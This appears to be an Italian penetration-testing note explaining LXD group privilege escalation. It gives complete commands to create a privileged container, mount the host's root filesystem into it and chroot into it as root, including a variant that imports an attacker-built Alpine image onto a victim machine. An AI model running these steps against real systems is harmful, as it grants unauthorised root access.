tags: LXD_Privalage Privilegio_LXD LXD priv_esc privilage_escalation
Se il nostro utente ha il privilegio LXD:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)Possiamo utilizzarlo per diventare root nel seguente modo:
Immagine esistente
Prima guardiamo se possiamo utilizzare un’immagine già esistente:
lxc image listSe per esempio ci appare l’immagine Alpine usiamo quella:
# 1. Crea il container
lxc init alpine privesc -c security.privileged=true
# 2. Monta il disco dell'host
lxc config device add privesc host-disk disk source=/ path=/mnt/root recursive=true
# 3. Avvia e ottieni una shell
lxc start privesc
lxc exec privesc /bin/sh
chroot /mnt/root /bin/bash
Per farti capire meglio metto un altro esempio:
# 1. Crea il container
lxc init images:ubuntu/18.04 pwned -c security.privileged=true
# 2. Monta il disco dell'host
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
# 3. Avvia e ottieni una shell
lxc start pwned
lxc exec pwned /bin/bash
#Se vuoi diventare _root dell’host_ vero e proprio:
chroot /mnt/root /bin/bash
Mancanza immagine esistente
Nel caso non ci fosse nessuna immagine possiamo scaricarla noi nel seguente modo:
Scarichiamo l’immagine nella nostra macchina attaccante:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
Apparirà un qualcosa del genere alpine-v3.12-x86_64-20200623_1255.tar.gz.
Trasferisci questo file nella macchina vittima.
Ora lancia questo comando:
lxc image import alpine-v3.12-x86_64-20200623_1255.tar.gz --alias myalpineE dovrebbe apparire nella lista:
www-data@ubuntu:/tmp$ lxc image list
lxc image list
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
| myalpine | f3c94a02e9d8 | no | alpine v3.12 (20200623_12:55) | x86_64 | 3.07MB | Jun 23, 2020 at 11:07am (UTC) |
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+Adesso possiamo seguire la procedura come descritto sopra:
# 1. Crea il container
lxc init myalpine joker -c security.privileged=true
# 2. Monta il disco dell'host
lxc config device add joker mydevice disk source=/ path=/mnt/root recursive=true
# 3. Avvia e ottieni una shell
lxc start joker
lxc exec joker /bin/sh
#Se vuoi diventare _root dell’host_ vero e proprio:
chroot /mnt/root /bin/bash
Sia l’attacco LXD che quello Docker si basano sullo stesso identico principio:
“Sfruttare un’autorizzazione legittima (essere nel gruppo lxd o docker) per chiedere a un servizio privilegiato (il demone LXD/Docker che gira come root) di montare il file system radice dell’host (/) all’interno di un container, dandoti di fatto accesso a root.”